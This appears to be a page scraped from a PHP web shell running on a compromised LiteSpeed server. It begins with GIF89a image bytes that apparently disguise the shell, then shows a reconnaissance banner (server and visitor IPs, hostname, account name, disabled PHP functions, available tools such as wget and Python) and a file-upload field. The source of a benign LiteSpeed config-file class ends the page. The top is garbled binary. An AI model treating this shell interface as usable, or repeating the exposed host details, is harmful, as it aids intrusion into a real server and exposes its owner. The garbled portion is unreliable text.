GIF89a=( ý' 7IAXKgNgYvYx\%wh&h}týh%ýs%xý}9ýRýý&ý0%ý (ý.ýý5ýSDýý&ýa)ýx5ýý;c*!&r)ï7õ<{4ý3ýH§KoTýýYýaqýýqýýFý !ý ' !ýNETSCAPE2.0 , =( ýýpH,ý$rýl:x(tJýZý,výýzýýxL.:ýýzýnýýý|Nýýýýý~ýýýýýýý& !ý0`9Rý}ýý"ý"a:Sý~xýýýýýýýýgýýýEýýýýýýýRýýýEýýýýBýý ýý8ýýDýýý"ýný ýHýýLýýDkDýBýýýýýDýýýTýýýH ýGýýA Rý |ýým&ýýE8ýSýkGýAýpxýaýýýR2XBýýE8Iýýý6Xý:vT)ý~ýýqýåýý"F~%xý ý 4#Zý0O|-4BsýX:= Qý SalýýyXJ`G&|shýýK3l7ýB|ý$'7J©*0!ýýDýn=ýPýýýýý0`ýRýljýýýýv>ýýý5 ý.69ýødýýýýýnlvý9ýýf{ýýýPbxýl5}ýpýýýýý3aýýýIýOýýýý!>ýýýiýý9ýý#ýý)pýa ½ ý{ý)vmýý%D~6fýýs}RýDýW Eý`!ý ý&L8xý ý{)x`X/>ý}mýýRý*|`Dý=ý_ ^ý5!_&'aýOý7ýcýý`DCx`ý¥ý9ýYýFýýý`?ýý"ý ýn@`ý} lýý@4>ýd S ývýxNýý"@~dýý=ýgýs~Gýýýýýýud &p8Qý)«lXDýýýýA~HýySunýjýýýk*DýLHý] ýýC"JýýXb~ªwSt}6K,ýýqýS:9*:ýýýlý@ý`ýý ý.ìýt9ýSý[©:ýý=`9Nýýýý{¿ýA !Rý:ýýý6ýýxý0ý_ ý;ýýýýýý^ýýý#ýýýý!ýýýýUýýý;0L1ýýýýýp%AýýU,uýý%ýSýý!ýýý~`ýGýýýý ýýý=4ýnpý3ýýýýýýýýýuýuýn|%2ýIýýrý#0ýýJ``8ý@S@5ýýýý^`8Eý]ý.ýSýýý7 ý ý0ýj SýDý zýýýiýSýýýýý!ýýýlýýw9*ýDýIýnEXýýý &AýGoýQfýýFýý;ýýý}ýJýýýýF5ýýQ|ýýýXýýTýýyýýý]ý o ýýC=ýý:ýýýPB@ DýSý(>ýCýx}`ýýxJ,ýàýýp+eE0`ý}`Aý/NEýý ý9@ýýý Hý7ý!%B0`ýl*ýý!8 2ý%ý ý:ý1ý0Eýýux%nP1ý!ýC)ýP81lýxF#¬{ýýýýB0>ýý
Server IP : 217.18.85.50 / Your IP : 18.218.250.241 Web Server : LiteSpeed System : Linux server50.tr85.dhs.com.tr 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64 User : ferhatgenc ( ) PHP Version : 7.2.34 Disable Function : restore_ini,mail,openbasedir,f_open,system,dl,array_compare,array_user_key_compare,passthru,cat,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,ini_restore,mysql_list_dbs,getmyuid,pconnect,link,symlink,fin,passthruexec,fileread,shell_exec,pcntl_exec,ini_alter,leak,apache_child_terminate,chown,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,allow_url_fopen,fpassthru,execute,shell,chgrp,passthru,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,foreach,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_version,apache_getenv,apache_note,apache_setenv,virtualal MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /usr/local/lsws/admin/html.5.4.6/classes/ |
Upload File : |
<?php class ConfigFileEx { // grep logging.log.fileName, no need from root tag, any distinctive point will do public static function grepTagValue($filename, $tags) { $contents = file_get_contents($filename); if (is_array($tags)) { $values = array(); foreach ($tags as $tag) { $values[$tag] = ConfigFileEx::grepSingleTagValue($tag, $contents); } return $values; } return ConfigFileEx::grepSingleTagValue($tags, $contents); } public static function grepSingleTagValue($tag, &$contents) { $singleTags = explode('.', $tag); $cur_pos = 0; $end_tag = ''; foreach($singleTags as $singletag) { $findtag = "<$singletag>"; $cur_pos = strpos($contents, $findtag, $cur_pos); if ($cur_pos === false) break; $cur_pos += strlen($findtag); $end_tag = "</$singletag>"; } if(!strlen($contents) || !strlen($end_tag)) { $last_pos = false; } else { $last_pos = strpos($contents, $end_tag, $cur_pos); } if ( $last_pos !== false) { return substr($contents, $cur_pos, $last_pos - $cur_pos); } else return null; } public static function loadHAVip($haconf) { if (!file_exists($haconf)) { return null; } $contents = file_get_contents($haconf); if ($contents === false) { return null; } if (preg_match_all('/<vip>(.+)<\/vip>/', $contents, $res)) { $r = $res[1]; $ips = []; foreach ($r as $vips) { $vipsl = preg_split("/[\s,]+/", trim($vips), -1, PREG_SPLIT_NO_EMPTY); $ips = array_merge($ips, $vipsl); } $ips = array_unique($ips); $finallist = []; foreach ($ips as $ip) { $finallist[$ip] = $ip; } return $finallist; } else { return null; } } // other files public static function &loadMime($filename) { $lines = file($filename); if ( $lines == false ) { return false; } $mime = array(); foreach( $lines as $line ) { $c = strpos($line, '='); if ( $c > 0 ) { $suffix = trim(substr($line, 0, $c)); $type = trim(substr($line, $c+1 )); $mime[$suffix] = array('suffix' => new CVal($suffix), 'type' => new CVal($type)); } } ksort($mime, SORT_STRING); reset($mime); return $mime; } public static function saveMime($filename, &$mime) { $fd = fopen($filename, 'w'); if ( !$fd ) { return false; } ksort($mime, SORT_STRING); reset($mime); foreach( $mime as $key => $entry ) { if ( strlen($key) < 8 ) { $key = substr($key . ' ', 0, 8); } $line = "$key = " . $entry['type']->GetVal() . "\n"; fputs( $fd, $line ); } fclose($fd); return true; } public static function &loadUserDB($filename) { if ( PathTool::isDenied($filename) ) { return false; } $lines = file($filename); $udb = array(); if ( $lines == false ) { error_log('failed to read from ' . $filename); return $udb; } foreach( $lines as $line ) { $line = trim($line); $parsed = explode(":",$line); if(is_array($parsed)) { $size = count($parsed); if($size != 2 && $size !=3) { continue; } if(!strlen($parsed[0]) || !strlen($parsed[1])) { continue; } $user = array(); if($size >= 2) { $user['name'] = new CVal(trim($parsed[0])); $user['passwd'] = new CVal(trim($parsed[1])); } if($size == 3 && strlen($parsed[2])) { $user['group'] = new CVal(trim($parsed[2])); } $udb[$user['name']->GetVal()] = $user; } } ksort($udb); reset($udb); return $udb; } public static function saveUserDB($filename, &$udb) { if ( PathTool::isDenied($filename) ) { return false; } $fd = fopen($filename, 'w'); if ( !$fd ) { return false; } ksort($udb); reset($udb); foreach( $udb as $name => $user ) { $line = $name . ':' . $user['passwd']->GetVal(); if (isset($user['group']) ) { $line .= ':' . $user['group']->GetVal(); } fputs( $fd, "$line\n" ); } fclose($fd); return true; } public static function &loadGroupDB($filename) { if ( PathTool::isDenied($filename) ) { return false; } $gdb = array(); $lines = file($filename); if ( $lines == false ) { return $gdb; } foreach( $lines as $line ) { $line = trim($line); $parsed = explode(':', $line); if(is_array($parsed) && count($parsed) == 2) { $nameval = trim($parsed[0]); $group = array( 'name' => new CVal($nameval), 'users' => new CVal(trim($parsed[1]))); $gdb[$nameval] = $group; } } ksort($gdb); reset($gdb); return $gdb; } public static function saveGroupDB($filename, &$gdb) { if ( PathTool::isDenied($filename) ) { return false; } $fd = fopen($filename, 'w'); if ( !$fd ) { return false; } ksort($gdb); reset($gdb); foreach( $gdb as $name => $entry ) { $line = $name . ':' . $entry['users']->GetVal() . "\n"; fputs( $fd, $line ); } fclose($fd); return true; } }